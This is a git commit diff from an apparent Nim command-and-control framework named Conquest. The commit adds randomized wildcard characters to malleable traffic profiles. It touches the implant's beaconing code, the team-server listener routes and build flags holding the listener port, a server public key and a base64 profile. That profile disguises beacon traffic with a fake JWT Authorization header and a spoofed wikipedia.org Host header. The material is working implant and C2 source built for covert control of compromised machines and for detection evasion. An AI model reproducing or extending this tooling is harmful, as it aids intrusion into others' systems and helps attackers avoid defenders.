Added randomization to profile strings by replacing '#' with random alphanumerical chars.
This commit is contained in:
@@ -30,7 +30,7 @@ endpoints = [
|
|||||||
placement = { type = "header", name = "Authorization" }
|
placement = { type = "header", name = "Authorization" }
|
||||||
encoding = { type = "base64", url-safe = true }
|
encoding = { type = "base64", url-safe = true }
|
||||||
prefix = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
|
prefix = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
|
||||||
suffix = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
|
suffix = ".######################################-####"
|
||||||
|
|
||||||
# Example: PHP session cookie
|
# Example: PHP session cookie
|
||||||
# placement = { type = "header", name = "Cookie" }
|
# placement = { type = "header", name = "Cookie" }
|
||||||
@@ -45,7 +45,7 @@ suffix = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
|
|||||||
|
|
||||||
# Defines arbitrary URI parameters that are added to the request
|
# Defines arbitrary URI parameters that are added to the request
|
||||||
[http-get.agent.parameters]
|
[http-get.agent.parameters]
|
||||||
id = "bd5a-c65176a7ac5c"
|
id = "#####-#####"
|
||||||
lang = "en-US"
|
lang = "en-US"
|
||||||
|
|
||||||
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
|
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
|
||||||
|
|||||||
@@ -34,16 +34,16 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
|
|
||||||
# Define request headers, as defined in profile
|
# Define request headers, as defined in profile
|
||||||
for header, value in ctx.profile.getTable("http-get.agent.headers"):
|
for header, value in ctx.profile.getTable("http-get.agent.headers"):
|
||||||
client.headers.add(header, value.getStr())
|
client.headers.add(header, value.getStringValue())
|
||||||
|
|
||||||
# Define additional request parameters
|
# Define additional request parameters
|
||||||
var params = ""
|
var params = ""
|
||||||
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
|
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
|
||||||
params &= fmt"&{param}={value.getStr}"
|
params &= fmt"&{param}={value.getStringValue()}"
|
||||||
params[0] = '?'
|
params[0] = '?'
|
||||||
|
|
||||||
# Select a random endpoint to make the request to
|
# Select a random endpoint to make the request to
|
||||||
var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStr()
|
var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStringValue()
|
||||||
if endpoint[0] == '/':
|
if endpoint[0] == '/':
|
||||||
endpoint = endpoint[1..^1]
|
endpoint = endpoint[1..^1]
|
||||||
|
|
||||||
@@ -66,14 +66,14 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
|||||||
|
|
||||||
# Define request headers, as defined in profile
|
# Define request headers, as defined in profile
|
||||||
for header, value in ctx.profile.getTable("http-post.agent.headers"):
|
for header, value in ctx.profile.getTable("http-post.agent.headers"):
|
||||||
client.headers.add(header, value.getStr())
|
client.headers.add(header, value.getStringValue())
|
||||||
|
|
||||||
# Select a random endpoint to make the request to
|
# Select a random endpoint to make the request to
|
||||||
var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStr()
|
var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStringValue()
|
||||||
if endpoint[0] == '/':
|
if endpoint[0] == '/':
|
||||||
endpoint = endpoint[1..^1]
|
endpoint = endpoint[1..^1]
|
||||||
|
|
||||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStr("POST"))
|
let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStringValue("POST"))
|
||||||
|
|
||||||
let body = Bytes.toString(data)
|
let body = Bytes.toString(data)
|
||||||
|
|
||||||
|
|||||||
@@ -5,6 +5,6 @@
|
|||||||
-d:Octet3="177"
|
-d:Octet3="177"
|
||||||
-d:Octet4="43"
|
-d:Octet4="43"
|
||||||
-d:ListenerPort=8080
|
-d:ListenerPort=8080
|
||||||
-d:SleepDelay=10
|
-d:SleepDelay=3
|
||||||
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
||||||
-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuS01VRnNJRFRuRm15RzNuTWlHTTZIOUZORlVST2Yzd2g3U21xSnAtUVYzMCIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gImJkNWEtYzY1MTc2YTdhYzVjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpDb250ZW50LVR5cGUgPSAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIgpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1wb3N0LmFnZW50Lm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCltodHRwLXBvc3Quc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKCltodHRwLXBvc3Quc2VydmVyLm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCgo="
|
-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpIb3N0ID0gIndpa2lwZWRpYS5vcmciCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKQ2FjaGUtQ29udHJvbCA9ICJuby1jYWNoZSIKCltodHRwLXBvc3QuYWdlbnQub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKW2h0dHAtcG9zdC5zZXJ2ZXIuaGVhZGVyc10KU2VydmVyID0gIm5naW54IgoKW2h0dHAtcG9zdC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCg=="
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import parsetoml, strutils, random
|
import parsetoml, strutils, sequtils, random
|
||||||
import ./[types, utils]
|
import ./[types, utils]
|
||||||
|
|
||||||
proc findKey(profile: Profile, path: string): TomlValueRef =
|
proc findKey(profile: Profile, path: string): TomlValueRef =
|
||||||
@@ -17,12 +17,22 @@ proc findKey(profile: Profile, path: string): TomlValueRef =
|
|||||||
# Takes a specific "."-separated path as input and returns a default value if the key does not exits
|
# Takes a specific "."-separated path as input and returns a default value if the key does not exits
|
||||||
# Example: cq.profile.getString("http-get.agent.heartbeat.prefix", "not found") returns the string value of the
|
# Example: cq.profile.getString("http-get.agent.heartbeat.prefix", "not found") returns the string value of the
|
||||||
# prefix key, or "not found" if the target key or any sub-tables don't exist
|
# prefix key, or "not found" if the target key or any sub-tables don't exist
|
||||||
|
# '#' characters represent wildcard characters and are replaced with a random alphanumerical character
|
||||||
|
|
||||||
|
proc randomChar(): char =
|
||||||
|
let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||||
|
return alphabet[rand(alphabet.len - 1)]
|
||||||
|
|
||||||
|
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
|
||||||
|
let value = key.getStr(default)
|
||||||
|
# Replace '#' with a random alphanumerical character and return the resulting string
|
||||||
|
return value.mapIt(if it == '#': randomChar() else: it).join("")
|
||||||
|
|
||||||
proc getString*(profile: Profile, path: string, default: string = ""): string =
|
proc getString*(profile: Profile, path: string, default: string = ""): string =
|
||||||
let key = profile.findKey(path)
|
let key = profile.findKey(path)
|
||||||
if key == nil:
|
if key == nil:
|
||||||
return default
|
return default
|
||||||
return key.getStr(default)
|
return key.getStringValue(default)
|
||||||
|
|
||||||
proc getBool*(profile: Profile, path: string, default: bool = false): bool =
|
proc getBool*(profile: Profile, path: string, default: bool = false): bool =
|
||||||
let key = profile.findKey(path)
|
let key = profile.findKey(path)
|
||||||
|
|||||||
@@ -80,7 +80,7 @@ proc httpGet*(ctx: Context) {.async.} =
|
|||||||
|
|
||||||
# Add headers, as defined in the team server profile
|
# Add headers, as defined in the team server profile
|
||||||
for header, value in cq.profile.getTable("http-get.server.headers"):
|
for header, value in cq.profile.getTable("http-get.server.headers"):
|
||||||
ctx.response.setHeader(header, value.getStr())
|
ctx.response.setHeader(header, value.getStringValue())
|
||||||
|
|
||||||
await ctx.respond(Http200, prefix & response & suffix, ctx.response.headers)
|
await ctx.respond(Http200, prefix & response & suffix, ctx.response.headers)
|
||||||
ctx.handled = true # Ensure that HTTP response is sent only once
|
ctx.handled = true # Ensure that HTTP response is sent only once
|
||||||
@@ -113,7 +113,7 @@ proc httpPost*(ctx: Context) {.async.} =
|
|||||||
|
|
||||||
# Add response headers, as defined in team server profile
|
# Add response headers, as defined in team server profile
|
||||||
for header, value in cq.profile.getTable("http-post.server.headers"):
|
for header, value in cq.profile.getTable("http-post.server.headers"):
|
||||||
ctx.response.setHeader(header, value.getStr())
|
ctx.response.setHeader(header, value.getStringValue())
|
||||||
|
|
||||||
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
||||||
if not register(string.toBytes(ctx.request.body)):
|
if not register(string.toBytes(ctx.request.body)):
|
||||||
|
|||||||
@@ -61,19 +61,19 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
|
|||||||
# Define API endpoints based on C2 profile
|
# Define API endpoints based on C2 profile
|
||||||
# GET requests
|
# GET requests
|
||||||
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
||||||
listener.addRoute(endpoint.getStr(), routes.httpGet)
|
listener.addRoute(endpoint.getStringValue(), routes.httpGet)
|
||||||
|
|
||||||
# POST requests
|
# POST requests
|
||||||
var postMethods: seq[HttpMethod]
|
var postMethods: seq[HttpMethod]
|
||||||
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
||||||
postMethods.add(parseEnum[HttpMethod](reqMethod.getStr()))
|
postMethods.add(parseEnum[HttpMethod](reqMethod.getStringValue()))
|
||||||
|
|
||||||
# Default method is POST
|
# Default method is POST
|
||||||
if postMethods.len == 0:
|
if postMethods.len == 0:
|
||||||
postMethods = @[HttpPost]
|
postMethods = @[HttpPost]
|
||||||
|
|
||||||
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
||||||
listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods)
|
listener.addRoute(endpoint.getStringValue(), routes.httpPost, postMethods)
|
||||||
|
|
||||||
listener.registerErrorHandler(Http404, routes.error404)
|
listener.registerErrorHandler(Http404, routes.error404)
|
||||||
|
|
||||||
@@ -113,19 +113,19 @@ proc restartListeners*(cq: Conquest) =
|
|||||||
# TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts
|
# TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts
|
||||||
# GET requests
|
# GET requests
|
||||||
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
||||||
listener.get(endpoint.getStr(), routes.httpGet)
|
listener.get(endpoint.getStringValue(), routes.httpGet)
|
||||||
|
|
||||||
# POST requests
|
# POST requests
|
||||||
var postMethods: seq[HttpMethod]
|
var postMethods: seq[HttpMethod]
|
||||||
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
||||||
postMethods.add(parseEnum[HttpMethod](reqMethod.getStr()))
|
postMethods.add(parseEnum[HttpMethod](reqMethod.getStringValue()))
|
||||||
|
|
||||||
# Default method is POST
|
# Default method is POST
|
||||||
if postMethods.len == 0:
|
if postMethods.len == 0:
|
||||||
postMethods = @[HttpPost]
|
postMethods = @[HttpPost]
|
||||||
|
|
||||||
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
||||||
listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods)
|
listener.addRoute(endpoint.getStringValue(), routes.httpPost, postMethods)
|
||||||
|
|
||||||
listener.registerErrorHandler(Http404, routes.error404)
|
listener.registerErrorHandler(Http404, routes.error404)
|
||||||
|
|
||||||
|
|||||||
@@ -153,8 +153,8 @@ proc startServer*(profilePath: string) =
|
|||||||
try:
|
try:
|
||||||
# Load and parse profile
|
# Load and parse profile
|
||||||
let profile = parseFile(profilePath)
|
let profile = parseFile(profilePath)
|
||||||
styledEcho(fgGreen, styleBright, "[+] Using profile \"", profile["name"].getStr(), "\" (", profilePath ,").")
|
styledEcho(fgGreen, styleBright, "[+] Using profile \"", profile.getString("name"), "\" (", profilePath ,").")
|
||||||
styledEcho(fgGreen, styleBright, "[+] ", profile["private_key_file"].getStr(), ": Private key found.")
|
styledEcho(fgGreen, styleBright, "[+] ", profile.getString("private_key_file"), ": Private key found.")
|
||||||
|
|
||||||
# Initialize framework context
|
# Initialize framework context
|
||||||
cq = Conquest.init(profile)
|
cq = Conquest.init(profile)
|
||||||
|
|||||||
Reference in New Issue
Block a user